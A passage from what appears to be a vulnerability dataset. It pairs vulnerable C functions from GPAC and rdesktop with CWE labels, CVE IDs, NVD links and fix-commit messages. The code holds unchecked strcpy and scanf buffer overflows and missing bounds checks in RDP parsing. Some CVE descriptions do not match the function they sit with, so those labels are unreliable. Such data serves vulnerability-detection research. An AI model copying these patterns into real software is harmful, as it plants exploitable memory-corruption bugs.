fprintf(stderr, "Enter OD number (0 for main OD): ");
fflush(stderr);
} while( 1 > scanf("%ud", &num));
ViewOD(term, (u32)-1, num, NULL);
}
break;
case 'b':
if (is_connected) ViewODs(term, 1);
break;
case 'm':
if (is_connected) ViewODs(term, 0);
break;
case 'l':
list_modules(user.modules);
break;
case 'n':
if (is_connected) set_navigation();
break;
case 'x':
if (is_connected) gf_term_set_option(term, GF_OPT_NAVIGATION_TYPE, 0);
break;
case 'd':
if (is_connected) {
GF_ObjectManager *odm = NULL;
char radname[GF_MAX_PATH], *sExt;
GF_Err e;
u32 i, count, odid;
Bool xml_dump, std_out;
radname[0] = 0;
do {
fprintf(stderr, "Enter Inline OD ID if any or 0 : ");
fflush(stderr);
} while( 1 > scanf("%ud", &odid));
if (odid) {
GF_ObjectManager *root_odm = gf_term_get_root_object(term);
if (!root_odm) break;
count = gf_term_get_object_count(term, root_odm);
for (i=0; i<count; i++) {
GF_MediaInfo info;
odm = gf_term_get_object(term, root_odm, i);
if (gf_term_get_object_info(term, odm, &info) == GF_OK) {
if (info.od->objectDescriptorID==odid) break;
}
odm = NULL;
}
}
do {
fprintf(stderr, "Enter file radical name (+\'.x\' for XML dumping) - \"std\" for stderr: ");
fflush(stderr);
} while( 1 > scanf("%s", radname));
sExt = strrchr(radname, '.');
xml_dump = 0;
if (sExt) {
if (!stricmp(sExt, ".x")) xml_dump = 1;
sExt[0] = 0;
}
std_out = strnicmp(radname, "std", 3) ? 0 : 1;
e = gf_term_dump_scene(term, std_out ? NULL : radname, NULL, xml_dump, 0, odm);
fprintf(stderr, "Dump done (%s)\n", gf_error_to_string(e));
}
break;
case 'c':
PrintGPACConfig();
break;
case '3':
{
Bool use_3d = !gf_term_get_option(term, GF_OPT_USE_OPENGL);
if (gf_term_set_option(term, GF_OPT_USE_OPENGL, use_3d)==GF_OK) {
fprintf(stderr, "Using %s for 2D drawing\n", use_3d ? "OpenGL" : "2D rasterizer");
}
}
break;
case 'k':
{
Bool opt = gf_term_get_option(term, GF_OPT_STRESS_MODE);
opt = !opt;
fprintf(stderr, "Turning stress mode %s\n", opt ? "on" : "off");
gf_term_set_option(term, GF_OPT_STRESS_MODE, opt);
}
break;
case '4':
gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_4_3);
break;
case '5':
gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_16_9);
break;
case '6':
gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_FILL_SCREEN);
break;
case '7':
gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_KEEP);
break;
case 'C':
switch (gf_term_get_option(term, GF_OPT_MEDIA_CACHE)) {
case GF_MEDIA_CACHE_DISABLED:
gf_term_set_option(term, GF_OPT_MEDIA_CACHE, GF_MEDIA_CACHE_ENABLED);
break;
case GF_MEDIA_CACHE_ENABLED:
gf_term_set_option(term, GF_OPT_MEDIA_CACHE, GF_MEDIA_CACHE_DISABLED);
break;
case GF_MEDIA_CACHE_RUNNING:
fprintf(stderr, "Streaming Cache is running - please stop it first\n");
continue;
}
switch (gf_term_get_option(term, GF_OPT_MEDIA_CACHE)) {
case GF_MEDIA_CACHE_ENABLED:
fprintf(stderr, "Streaming Cache Enabled\n");
break;
case GF_MEDIA_CACHE_DISABLED:
fprintf(stderr, "Streaming Cache Disabled\n");
break;
case GF_MEDIA_CACHE_RUNNING:
fprintf(stderr, "Streaming Cache Running\n");
break;
}
break;
case 'S':
case 'A':
if (gf_term_get_option(term, GF_OPT_MEDIA_CACHE)==GF_MEDIA_CACHE_RUNNING) {
gf_term_set_option(term, GF_OPT_MEDIA_CACHE, (c=='S') ? GF_MEDIA_CACHE_DISABLED : GF_MEDIA_CACHE_DISCARD);
fprintf(stderr, "Streaming Cache stopped\n");
} else {
fprintf(stderr, "Streaming Cache not running\n");
}
break;
case 'R':
display_rti = !display_rti;
ResetCaption();
break;
case 'F':
if (display_rti) display_rti = 0;
else display_rti = 2;
ResetCaption();
break;
case 'u':
{
GF_Err e;
char szCom[8192];
fprintf(stderr, "Enter command to send:\n");
fflush(stdin);
szCom[0] = 0;
if (1 > scanf("%[^\t\n]", szCom)) {
fprintf(stderr, "Cannot read command to send, aborting.\n");
break;
}
e = gf_term_scene_update(term, NULL, szCom);
if (e) fprintf(stderr, "Processing command failed: %s\n", gf_error_to_string(e));
}
break;
case 'e':
{
GF_Err e;
char jsCode[8192];
fprintf(stderr, "Enter JavaScript code to evaluate:\n");
fflush(stdin);
jsCode[0] = 0;
if (1 > scanf("%[^\t\n]", jsCode)) {
fprintf(stderr, "Cannot read code to evaluate, aborting.\n");
break;
}
e = gf_term_scene_update(term, "application/ecmascript", jsCode);
if (e) fprintf(stderr, "Processing JS code failed: %s\n", gf_error_to_string(e));
}
break;
case 'L':
{
char szLog[1024], *cur_logs;
cur_logs = gf_log_get_tools_levels();
fprintf(stderr, "Enter new log level (current tools %s):\n", cur_logs);
gf_free(cur_logs);
if (scanf("%s", szLog) < 1) {
fprintf(stderr, "Cannot read new log level, aborting.\n");
break;
}
gf_log_modify_tools_levels(szLog);
}
break;
case 'g':
{
GF_SystemRTInfo rti;
gf_sys_get_rti(rti_update_time_ms, &rti, 0);
fprintf(stderr, "GPAC allocated memory "LLD"\n", rti.gpac_memory);
}
break;
case 'M':
{
u32 size;
do {
fprintf(stderr, "Enter new video cache memory in kBytes (current %ud):\n", gf_term_get_option(term, GF_OPT_VIDEO_CACHE_SIZE));
} while (1 > scanf("%ud", &size));
gf_term_set_option(term, GF_OPT_VIDEO_CACHE_SIZE, size);
}
break;
case 'H':
{
u32 http_bitrate = gf_term_get_option(term, GF_OPT_HTTP_MAX_RATE);
do {
fprintf(stderr, "Enter new http bitrate in bps (0 for none) - current limit: %d\n", http_bitrate);
} while (1 > scanf("%ud", &http_bitrate));
gf_term_set_option(term, GF_OPT_HTTP_MAX_RATE, http_bitrate);
}
break;
case 'E':
gf_term_set_option(term, GF_OPT_RELOAD_CONFIG, 1);
break;
case 'B':
switch_bench(!bench_mode);
break;
case 'Y':
{
char szOpt[8192];
fprintf(stderr, "Enter option to set (Section:Name=Value):\n");
fflush(stdin);
szOpt[0] = 0;
if (1 > scanf("%[^\t\n]", szOpt)) {
fprintf(stderr, "Cannot read option\n");
break;
}
set_cfg_option(szOpt);
}
break;
/*extract to PNG*/
case 'Z':
{
char szFileName[100];
u32 nb_pass, nb_views, offscreen_view = 0;
GF_VideoSurface fb;
GF_Err e;
nb_pass = 1;
nb_views = gf_term_get_option(term, GF_OPT_NUM_STEREO_VIEWS);
if (nb_views>1) {
fprintf(stderr, "Auto-stereo mode detected - type number of view to dump (0 is main output, 1 to %d offscreen view, %d for all offscreen, %d for all offscreen and main)\n", nb_views, nb_views+1, nb_views+2);
if (scanf("%d", &offscreen_view) != 1) {
offscreen_view = 0;
}
if (offscreen_view==nb_views+1) {
offscreen_view = 1;
nb_pass = nb_views;
}
else if (offscreen_view==nb_views+2) {
offscreen_view = 0;
nb_pass = nb_views+1;
}
}
while (nb_pass) {
nb_pass--;
if (offscreen_view) {
sprintf(szFileName, "view%d_dump.png", offscreen_view);
e = gf_term_get_offscreen_buffer(term, &fb, offscreen_view-1, 0);
} else {
sprintf(szFileName, "gpac_video_dump_"LLU".png", gf_net_get_utc() );
e = gf_term_get_screen_buffer(term, &fb);
}
offscreen_view++;
if (e) {
fprintf(stderr, "Error dumping screen buffer %s\n", gf_error_to_string(e) );
nb_pass = 0;
} else {
#ifndef GPAC_DISABLE_AV_PARSERS
u32 dst_size = fb.width*fb.height*4;
char *dst = (char*)gf_malloc(sizeof(char)*dst_size);
e = gf_img_png_enc(fb.video_buffer, fb.width, fb.height, fb.pitch_y, fb.pixel_format, dst, &dst_size);
if (e) {
fprintf(stderr, "Error encoding PNG %s\n", gf_error_to_string(e) );
nb_pass = 0;
} else {
FILE *png = gf_fopen(szFileName, "wb");
if (!png) {
fprintf(stderr, "Error writing file %s\n", szFileName);
nb_pass = 0;
} else {
gf_fwrite(dst, dst_size, 1, png);
gf_fclose(png);
fprintf(stderr, "Dump to %s\n", szFileName);
}
}
if (dst) gf_free(dst);
gf_term_release_screen_buffer(term, &fb);
#endif //GPAC_DISABLE_AV_PARSERS
}
}
fprintf(stderr, "Done: %s\n", szFileName);
}
break;
case 'G':
{
GF_ObjectManager *root_od, *odm;
u32 index;
char szOpt[8192];
fprintf(stderr, "Enter 0-based index of object to select or service ID:\n");
fflush(stdin);
szOpt[0] = 0;
if (1 > scanf("%[^\t\n]", szOpt)) {
fprintf(stderr, "Cannot read OD ID\n");
break;
}
index = atoi(szOpt);
odm = NULL;
root_od = gf_term_get_root_object(term);
if (root_od) {
if ( gf_term_find_service(term, root_od, index)) {
gf_term_select_service(term, root_od, index);
} else {
fprintf(stderr, "Cannot find service %d - trying with object index\n", index);
odm = gf_term_get_object(term, root_od, index);
if (odm) {
gf_term_select_object(term, odm);
} else {
fprintf(stderr, "Cannot find object at index %d\n", index);
}
}
}
}
break;
case 'h':
PrintHelp();
break;
default:
break;
}
}
if (bench_mode) {
PrintAVInfo(GF_TRUE);
}
/*FIXME: we have an issue in cleaning up after playing in bench mode and run-for 0 (buildbot tests). We for now disable error checks after run-for is done*/
if (simulation_time_in_ms) {
gf_log_set_strict_error(0);
}
i = gf_sys_clock();
gf_term_disconnect(term);
if (rti_file) UpdateRTInfo("Disconnected\n");
fprintf(stderr, "Deleting terminal... ");
if (playlist) gf_fclose(playlist);
#if defined(__DARWIN__) || defined(__APPLE__)
carbon_uninit();
#endif
gf_term_del(term);
fprintf(stderr, "done (in %d ms) - ran for %d ms\n", gf_sys_clock() - i, gf_sys_clock());
fprintf(stderr, "GPAC cleanup ...\n");
gf_modules_del(user.modules);
if (no_cfg_save)
gf_cfg_discard_changes(cfg_file);
gf_cfg_del(cfg_file);
gf_sys_close();
if (rti_logs) gf_fclose(rti_logs);
if (logfile) gf_fclose(logfile);
if (gui_mode) {
hide_shell(2);
}
#ifdef GPAC_MEMORY_TRACKING
if (mem_track && (gf_memory_size() || gf_file_handles_count() )) {
gf_log_set_tool_level(GF_LOG_MEMORY, GF_LOG_INFO);
gf_memory_print();
return 2;
}
#endif
return ret_val;
}
| 33,731,538,446,325,954,000,000,000,000,000,000,000 | None | null | [
"CWE-787"
] | CVE-2018-20763 | In GPAC 0.7.1 and earlier, gf_text_get_utf8_line in media_tools/text_import.c in libgpac_static.a allows an out-of-bounds write because of missing szLineConv bounds checking. | https://nvd.nist.gov/vuln/detail/CVE-2018-20763 |
4,143 | gpac | 35ab4475a7df9b2a4bcab235e379c0c3ec543658 | https://github.com/gpac/gpac | https://github.com/gpac/gpac/commit/35ab4475a7df9b2a4bcab235e379c0c3ec543658 | fix some overflows due to strcpy
fixes #1184, #1186, #1187 among other things | 1 | GF_Err cat_multiple_files(GF_ISOFile *dest, char *fileName, u32 import_flags, Double force_fps, u32 frames_per_sample, char *tmp_dir, Bool force_cat, Bool align_timelines, Bool allow_add_in_command)
{
CATEnum cat_enum;
char *sep;
cat_enum.dest = dest;
cat_enum.import_flags = import_flags;
cat_enum.force_fps = force_fps;
cat_enum.frames_per_sample = frames_per_sample;
cat_enum.tmp_dir = tmp_dir;
cat_enum.force_cat = force_cat;
cat_enum.align_timelines = align_timelines;
cat_enum.allow_add_in_command = allow_add_in_command;
strcpy(cat_enum.szPath, fileName);
sep = strrchr(cat_enum.szPath, GF_PATH_SEPARATOR);
if (!sep) sep = strrchr(cat_enum.szPath, '/');
if (!sep) {
strcpy(cat_enum.szPath, ".");
strcpy(cat_enum.szRad1, fileName);
} else {
strcpy(cat_enum.szRad1, sep+1);
sep[0] = 0;
}
sep = strchr(cat_enum.szRad1, '*');
strcpy(cat_enum.szRad2, sep+1);
sep[0] = 0;
sep = strchr(cat_enum.szRad2, '%');
if (!sep) sep = strchr(cat_enum.szRad2, '#');
if (!sep) sep = strchr(cat_enum.szRad2, ':');
strcpy(cat_enum.szOpt, "");
if (sep) {
strcpy(cat_enum.szOpt, sep);
sep[0] = 0;
}
return gf_enum_directory(cat_enum.szPath, 0, cat_enumerate, &cat_enum, NULL);
}
| 184,974,595,979,520,000,000,000,000,000,000,000,000 | fileimport.c | 215,039,272,518,635,600,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2018-20761 | GPAC version 0.7.1 and earlier has a Buffer Overflow vulnerability in the gf_sm_load_init function in scene_manager.c in libgpac_static.a. | https://nvd.nist.gov/vuln/detail/CVE-2018-20761 |
4,147 | gpac | 35ab4475a7df9b2a4bcab235e379c0c3ec543658 | https://github.com/gpac/gpac | https://github.com/gpac/gpac/commit/35ab4475a7df9b2a4bcab235e379c0c3ec543658 | fix some overflows due to strcpy
fixes #1184, #1186, #1187 among other things | 1 | GF_Err gf_sm_load_init(GF_SceneLoader *load)
{
GF_Err e = GF_NOT_SUPPORTED;
char *ext, szExt[50];
/*we need at least a scene graph*/
if (!load || (!load->ctx && !load->scene_graph)
#ifndef GPAC_DISABLE_ISOM
|| (!load->fileName && !load->isom && !(load->flags & GF_SM_LOAD_FOR_PLAYBACK) )
#endif
) return GF_BAD_PARAM;
if (!load->type) {
#ifndef GPAC_DISABLE_ISOM
if (load->isom) {
load->type = GF_SM_LOAD_MP4;
} else
#endif
{
ext = (char *)strrchr(load->fileName, '.');
if (!ext) return GF_NOT_SUPPORTED;
if (!stricmp(ext, ".gz")) {
char *anext;
ext[0] = 0;
anext = (char *)strrchr(load->fileName, '.');
ext[0] = '.';
ext = anext;
}
strcpy(szExt, &ext[1]);
strlwr(szExt);
if (strstr(szExt, "bt")) load->type = GF_SM_LOAD_BT;
else if (strstr(szExt, "wrl")) load->type = GF_SM_LOAD_VRML;
else if (strstr(szExt, "x3dv")) load->type = GF_SM_LOAD_X3DV;
#ifndef GPAC_DISABLE_LOADER_XMT
else if (strstr(szExt, "xmt") || strstr(szExt, "xmta")) load->type = GF_SM_LOAD_XMTA;
else if (strstr(szExt, "x3d")) load->type = GF_SM_LOAD_X3D;
#endif
else if (strstr(szExt, "swf")) load->type = GF_SM_LOAD_SWF;
else if (strstr(szExt, "mov")) load->type = GF_SM_LOAD_QT;
else if (strstr(szExt, "svg")) load->type = GF_SM_LOAD_SVG;
else if (strstr(szExt, "xsr")) load->type = GF_SM_LOAD_XSR;
else if (strstr(szExt, "xbl")) load->type = GF_SM_LOAD_XBL;
else if (strstr(szExt, "xml")) {
char *rtype = gf_xml_get_root_type(load->fileName, &e);
if (rtype) {
if (!strcmp(rtype, "SAFSession")) load->type = GF_SM_LOAD_XSR;
else if (!strcmp(rtype, "XMT-A")) load->type = GF_SM_LOAD_XMTA;
else if (!strcmp(rtype, "X3D")) load->type = GF_SM_LOAD_X3D;
else if (!strcmp(rtype, "bindings")) load->type = GF_SM_LOAD_XBL;
gf_free(rtype);
}
}
}
}
if (!load->type) return e;
if (!load->scene_graph) load->scene_graph = load->ctx->scene_graph;
switch (load->type) {
#ifndef GPAC_DISABLE_LOADER_BT
case GF_SM_LOAD_BT:
case GF_SM_LOAD_VRML:
case GF_SM_LOAD_X3DV:
return gf_sm_load_init_bt(load);
#endif
#ifndef GPAC_DISABLE_LOADER_XMT
case GF_SM_LOAD_XMTA:
case GF_SM_LOAD_X3D:
return gf_sm_load_init_xmt(load);
#endif
#ifndef GPAC_DISABLE_SVG
case GF_SM_LOAD_SVG:
case GF_SM_LOAD_XSR:
case GF_SM_LOAD_DIMS:
return gf_sm_load_init_svg(load);
case GF_SM_LOAD_XBL:
e = gf_sm_load_init_xbl(load);
load->process = gf_sm_load_run_xbl;
load->done = gf_sm_load_done_xbl;
return e;
#endif
#ifndef GPAC_DISABLE_SWF_IMPORT
case GF_SM_LOAD_SWF:
return gf_sm_load_init_swf(load);
#endif
#ifndef GPAC_DISABLE_LOADER_ISOM
case GF_SM_LOAD_MP4:
return gf_sm_load_init_isom(load);
#endif
#ifndef GPAC_DISABLE_QTVR
case GF_SM_LOAD_QT:
return gf_sm_load_init_qt(load);
#endif
default:
return GF_NOT_SUPPORTED;
}
return GF_NOT_SUPPORTED;
}
| 297,086,645,771,880,500,000,000,000,000,000,000,000 | scene_manager.c | 72,644,650,139,823,230,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2018-20761 | GPAC version 0.7.1 and earlier has a Buffer Overflow vulnerability in the gf_sm_load_init function in scene_manager.c in libgpac_static.a. | https://nvd.nist.gov/vuln/detail/CVE-2018-20761 |
4,149 | rdesktop | 4dca546d04321a610c1835010b5dad85163b65e1 | https://github.com/rdesktop/rdesktop | https://github.com/rdesktop/rdesktop/commit/4dca546d04321a610c1835010b5dad85163b65e1 | Malicious RDP server security fixes
This commit includes fixes for a set of 21 vulnerabilities in
rdesktop when a malicious RDP server is used.
All vulnerabilities was identified and reported by Eyal Itkin.
* Add rdp_protocol_error function that is used in several fixes
* Refactor of process_bitmap_updates
* Fix possible integer overflow in s_check_rem() on 32bit arch
* Fix memory corruption in process_bitmap_data - CVE-2018-8794
* Fix remote code execution in process_bitmap_data - CVE-2018-8795
* Fix remote code execution in process_plane - CVE-2018-8797
* Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175
* Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175
* Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176
* Fix Denial of Service in sec_recv - CVE-2018-20176
* Fix minor information leak in rdpdr_process - CVE-2018-8791
* Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792
* Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793
* Fix Denial of Service in process_bitmap_data - CVE-2018-8796
* Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798
* Fix Denial of Service in process_secondary_order - CVE-2018-8799
* Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800
* Fix major information leak in ui_clip_handle_data - CVE-2018-20174
* Fix memory corruption in rdp_in_unistr - CVE-2018-20177
* Fix Denial of Service in process_demand_active - CVE-2018-20178
* Fix remote code execution in lspci_process - CVE-2018-20179
* Fix remote code execution in rdpsnddbg_process - CVE-2018-20180
* Fix remote code execution in seamless_process - CVE-2018-20181
* Fix remote code execution in seamless_process_line - CVE-2018-20182 | 1 | process_plane(uint8 * in, int width, int height, uint8 * out, int size)
{
UNUSED(size);
int indexw;
int indexh;
int code;
int collen;
int replen;
int color;
int x;
int revcode;
uint8 * last_line;
uint8 * this_line;
uint8 * org_in;
uint8 * org_out;
org_in = in;
org_out = out;
last_line = 0;
indexh = 0;
while (indexh < height)
{
out = (org_out + width * height * 4) - ((indexh + 1) * width * 4);
color = 0;
this_line = out;
indexw = 0;
if (last_line == 0)
{
while (indexw < width)
{
code = CVAL(in);
replen = code & 0xf;
collen = (code >> 4) & 0xf;
revcode = (replen << 4) | collen;
if ((revcode <= 47) && (revcode >= 16))
{
replen = revcode;
collen = 0;
}
while (collen > 0)
{
color = CVAL(in);
*out = color;
out += 4;
indexw++;
collen--;
}
while (replen > 0)
{
*out = color;
out += 4;
indexw++;
replen--;
}
}
}
else
{
while (indexw < width)
{
code = CVAL(in);
replen = code & 0xf;
collen = (code >> 4) & 0xf;
revcode = (replen << 4) | collen;
if ((revcode <= 47) && (revcode >= 16))
{
replen = revcode;
collen = 0;
}
while (collen > 0)
{
x = CVAL(in);
if (x & 1)
{
x = x >> 1;
x = x + 1;
color = -x;
}
else
{
x = x >> 1;
color = x;
}
x = last_line[indexw * 4] + color;
*out = x;
out += 4;
indexw++;
collen--;
}
while (replen > 0)
{
x = last_line[indexw * 4] + color;
*out = x;
out += 4;
indexw++;
replen--;
}
}
}
indexh++;
last_line = this_line;
}
return (int) (in - org_in);
}
| 243,072,446,217,366,000,000,000,000,000,000,000,000 | bitmap.c | 298,040,105,414,695,750,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2018-8799 | rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_secondary_order() that results in a Denial of Service (segfault). | https://nvd.nist.gov/vuln/detail/CVE-2018-8799 |
4,151 | rdesktop | 4dca546d04321a610c1835010b5dad85163b65e1 | https://github.com/rdesktop/rdesktop | https://github.com/rdesktop/rdesktop/commit/4dca546d04321a610c1835010b5dad85163b65e1 | Malicious RDP server security fixes
This commit includes fixes for a set of 21 vulnerabilities in
rdesktop when a malicious RDP server is used.
All vulnerabilities was identified and reported by Eyal Itkin.
* Add rdp_protocol_error function that is used in several fixes
* Refactor of process_bitmap_updates
* Fix possible integer overflow in s_check_rem() on 32bit arch
* Fix memory corruption in process_bitmap_data - CVE-2018-8794
* Fix remote code execution in process_bitmap_data - CVE-2018-8795
* Fix remote code execution in process_plane - CVE-2018-8797
* Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175
* Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175
* Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176
* Fix Denial of Service in sec_recv - CVE-2018-20176
* Fix minor information leak in rdpdr_process - CVE-2018-8791
* Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792
* Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793
* Fix Denial of Service in process_bitmap_data - CVE-2018-8796
* Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798
* Fix Denial of Service in process_secondary_order - CVE-2018-8799
* Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800
* Fix major information leak in ui_clip_handle_data - CVE-2018-20174
* Fix memory corruption in rdp_in_unistr - CVE-2018-20177
* Fix Denial of Service in process_demand_active - CVE-2018-20178
* Fix remote code execution in lspci_process - CVE-2018-20179
* Fix remote code execution in rdpsnddbg_process - CVE-2018-20180
* Fix remote code execution in seamless_process - CVE-2018-20181
* Fix remote code execution in seamless_process_line - CVE-2018-20182 | 1 | cssp_read_tsrequest(STREAM token, STREAM pubkey)
{
STREAM s;
int length;
int tagval;
s = tcp_recv(NULL, 4);
if (s == NULL)
return False;
if (s->p[0] != (BER_TAG_SEQUENCE | BER_TAG_CONSTRUCTED))
{
logger(Protocol, Error,
"cssp_read_tsrequest(), expected BER_TAG_SEQUENCE|BER_TAG_CONSTRUCTED, got %x",
s->p[0]);
return False;
}
if (s->p[1] < 0x80)
length = s->p[1] - 2;
else if (s->p[1] == 0x81)
length = s->p[2] - 1;
else if (s->p[1] == 0x82)
length = (s->p[2] << 8) | s->p[3];
else
return False;
s = tcp_recv(s, length);
if (!ber_in_header(s, &tagval, &length) ||
tagval != (BER_TAG_SEQUENCE | BER_TAG_CONSTRUCTED))
return False;
if (!ber_in_header(s, &tagval, &length) ||
tagval != (BER_TAG_CTXT_SPECIFIC | BER_TAG_CONSTRUCTED | 0))
return False;
in_uint8s(s, length);
if (token)
{
if (!ber_in_header(s, &tagval, &length)
|| tagval != (BER_TAG_CTXT_SPECIFIC | BER_TAG_CONSTRUCTED | 1))
return False;
if (!ber_in_header(s, &tagval, &length)
|| tagval != (BER_TAG_SEQUENCE | BER_TAG_CONSTRUCTED))
return False;
if (!ber_in_header(s, &tagval, &length)
|| tagval != (BER_TAG_SEQUENCE | BER_TAG_CONSTRUCTED))
return False;
if (!ber_in_header(s, &tagval, &length)
|| tagval != (BER_TAG_CTXT_SPECIFIC | BER_TAG_CONSTRUCTED | 0))
return False;
if (!ber_in_header(s, &tagval, &length) || tagval != BER_TAG_OCTET_STRING)
return False;
token->end = token->p = token->data;
out_uint8p(token, s->p, length);
s_mark_end(token);
}
if (pubkey)
{
if (!ber_in_header(s, &tagval, &length)
|| tagval != (BER_TAG_CTXT_SPECIFIC | BER_TAG_CONSTRUCTED | 3))
return False;
if (!ber_in_header(s, &tagval, &length) || tagval != BER_TAG_OCTET_STRING)
return False;
pubkey->data = pubkey->p = s->p;
pubkey->end = pubkey->data + length;
pubkey->size = length;
}
return True;
}
| 154,298,624,846,793,850,000,000,000,000,000,000,000 | None | null | [
"CWE-119"
] | CVE-2018-8799 | rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_secondary_order() that results in a Denial of Service (segfault). | https://nvd.nist.gov/vuln/detail/CVE-2018-8799 |
4,154 | rdesktop | 4dca546d04321a610c1835010b5dad85163b65e1 | https://github.com/rdesktop/rdesktop | https://github.com/rdesktop/rdesktop/commit/4dca546d04321a610c1835010b5dad85163b65e1 | Malicious RDP server security fixes
This commit includes fixes for a set of 21 vulnerabilities in
rdesktop when a malicious RDP server is used.
All vulnerabilities was identified and reported by Eyal Itkin.
* Add rdp_protocol_error function that is used in several fixes
* Refactor of process_bitmap_updates
* Fix possible integer overflow in s_check_rem() on 32bit arch
* Fix memory corruption in process_bitmap_data - CVE-2018-8794
* Fix remote code execution in process_bitmap_data - CVE-2018-8795
* Fix remote code execution in process_plane - CVE-2018-8797
* Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175
* Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175
* Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176
* Fix Denial of Service in sec_recv - CVE-2018-20176
* Fix minor information leak in rdpdr_process - CVE-2018-8791
* Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792
* Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793
* Fix Denial of Service in process_bitmap_data - CVE-2018-8796
* Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798
* Fix Denial of Service in process_secondary_order - CVE-2018-8799
* Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800
* Fix major information leak in ui_clip_handle_data - CVE-2018-20174
* Fix memory corruption in rdp_in_unistr - CVE-2018-20177
* Fix Denial of Service in process_demand_active - CVE-2018-20178
* Fix remote code execution in lspci_process - CVE-2018-20179
* Fix remote code execution in rdpsnddbg_process - CVE-2018-20180
* Fix remote code execution in seamless_process - CVE-2018-20181
* Fix remote code execution in seamless_process_line - CVE-2018-20182 | 1 | process_bitmap_updates(STREAM s)
{
uint16 num_updates;
uint16 left, top, right, bottom, width, height;
uint16 cx, cy, bpp, Bpp, compress, bufsize, size;
uint8 *data, *bmpdata;
int i;
logger(Protocol, Debug, "%s()", __func__);
in_uint16_le(s, num_updates);
for (i = 0; i < num_updates; i++)
{
in_uint16_le(s, left);
in_uint16_le(s, top);
in_uint16_le(s, right);
in_uint16_le(s, bottom);
in_uint16_le(s, width);
in_uint16_le(s, height);
in_uint16_le(s, bpp);
Bpp = (bpp + 7) / 8;
in_uint16_le(s, compress);
in_uint16_le(s, bufsize);
cx = right - left + 1;
cy = bottom - top + 1;
logger(Graphics, Debug,
"process_bitmap_updates(), [%d,%d,%d,%d], [%d,%d], bpp=%d, compression=%d",
left, top, right, bottom, width, height, Bpp, compress);
if (!compress)
{
int y;
bmpdata = (uint8 *) xmalloc(width * height * Bpp);
for (y = 0; y < height; y++)
{
in_uint8a(s, &bmpdata[(height - y - 1) * (width * Bpp)],
width * Bpp);
}
ui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);
xfree(bmpdata);
continue;
}
if (compress & 0x400)
{
size = bufsize;
}
else
{
in_uint8s(s, 2); /* pad */
in_uint16_le(s, size);
in_uint8s(s, 4); /* line_size, final_size */
}
in_uint8p(s, data, size);
bmpdata = (uint8 *) xmalloc(width * height * Bpp);
if (bitmap_decompress(bmpdata, width, height, data, size, Bpp))
{
ui_paint_bitmap(left, top, cx, cy, width, height, bmpdata);
}
else
{
logger(Graphics, Warning,
"process_bitmap_updates(), failed to decompress bitmap");
}
xfree(bmpdata);
}
}
| 255,073,384,789,805,870,000,000,000,000,000,000,000 | rdp.c | 177,705,998,885,746,530,000,000,000,000,000,000,000 | [
"CWE-119"
] | CVE-2018-8799 | rdesktop versions up to and including v1.8.3 contain an Out-Of-Bounds Read in function process_secondary_order() that results in a Denial of Service (segfault). | https://nvd.nist.gov/vuln/detail/CVE-2018-8799 |
4,155 | rdesktop | 4dca546d04321a610c1835010b5dad85163b65e1 | https://github.com/rdesktop/rdesktop | https://github.com/rdesktop/rdesktop/commit/4dca546d04321a610c1835010b5dad85163b65e1 | Malicious RDP server security fixes
This commit includes fixes for a set of 21 vulnerabilities in
rdesktop when a malicious RDP server is used.
All vulnerabilities was identified and reported by Eyal Itkin.
* Add rdp_protocol_error function that is used in several fixes
* Refactor of process_bitmap_updates
* Fix possible integer overflow in s_check_rem() on 32bit arch
* Fix memory corruption in process_bitmap_data - CVE-2018-8794
* Fix remote code execution in process_bitmap_data - CVE-2018-8795
* Fix remote code execution in process_plane - CVE-2018-8797
* Fix Denial of Service in mcs_recv_connect_response - CVE-2018-20175
* Fix Denial of Service in mcs_parse_domain_params - CVE-2018-20175
* Fix Denial of Service in sec_parse_crypt_info - CVE-2018-20176
* Fix Denial of Service in sec_recv - CVE-2018-20176
* Fix minor information leak in rdpdr_process - CVE-2018-8791
* Fix Denial of Service in cssp_read_tsrequest - CVE-2018-8792
* Fix remote code execution in cssp_read_tsrequest - CVE-2018-8793
* Fix Denial of Service in process_bitmap_data - CVE-2018-8796
* Fix minor information leak in rdpsnd_process_ping - CVE-2018-8798
* Fix Denial of Service in process_secondary_order - CVE-2018-8799
* Fix remote code execution in in ui_clip_handle_data - CVE-2018-8800
* Fix major information leak in ui_clip_handle_data - CVE-2018-20174
* Fix memory corruption in rdp_in_unistr - CVE-2018-20177
* Fix Denial of Service in process_demand_active - CVE-2018-20178
* Fix remote code execution in lspci_process - CVE-2018-20179
* Fix remote code execution in rdpsnddbg_process - CVE-2018-20180
* Fix remote code execution in seamless_process - CVE-2018-20181
* Fix remote code execution in seamless_process_line - CVE-2018-20182 | 1 | process_demand_active(STREAM s)
{
uint8 type;
uint16 len_src_descriptor, len_combined_caps;
/* at this point we need to ensure that we have ui created */
rd_create_ui();
in_uint32_le(s, g_rdp_shareid);
